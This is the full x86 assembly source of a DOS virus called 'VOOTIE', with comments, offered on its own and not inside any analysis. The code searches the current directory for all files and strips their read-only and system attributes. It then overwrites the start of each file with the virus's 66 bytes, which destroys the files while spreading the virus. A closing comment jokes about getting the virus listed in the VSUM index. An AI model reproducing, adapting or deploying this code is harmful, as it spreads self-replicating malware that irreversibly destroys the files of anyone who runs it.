; VOOTIE virus



CODE    SEGMENT
	ASSUME  CS:CODE, DS:CODE, ES:CODE, SS:NOTHING

	org     0100h

Vootie: mov     dx,offset file_argument ;load search mask, *.*, for any files
	push    bp                      ;
	mov     ah,4Eh                  ;find first host file, any file

refind: int     21h                     ;keep cycling through directory
	
	jb      exit                    ;no more files, exit
	mov     ah,2Fh                  ;set DTA
	int     21h                     
	mov     si,bx                   
	mov     ax,4301h                ;clear file attributes so
	xor     cx,cx                   ;virus can roll over read-only
					;and system files 
	lea     dx,[si+1Eh]             
	int     21h                     
	mov     ax,3D02h                ;open host file, read/write
	int     21h                     
	xchg    ax,bx                   ;put handle in ax
	mov     ah,40h                  ;write to file function
	mov     cx,0042h                ;66 bytes to write in cx
	mov     dx,0100h                ;write from start of Vootie
	int     21h                     
	mov     ah,3Eh                  ;close infected file
	int     21h                     
	mov     ah,4Fh                  ;find next file in directory
	jmp     Short refind            ;cycle to "refind"
;---------------------------------------
exit:   pop     bp                      
	mov     ax,4C00h                ;terminate program
	int     21h                     ;exit to DOS
					
;---------------------------------------
;DATA

file_argument        db      "*.*"              
my_name              dw      5600h      ;virus name =            
		     db      99h        ;"VOOTIE" in              
		     db      93h        ;weird ASCII            
		     dw      8BC2h      ;so VSUM indexer will            
		     db      90h        ;have something to include            
					;in database before lunch
CODE    ENDS
	END     VOOTIE

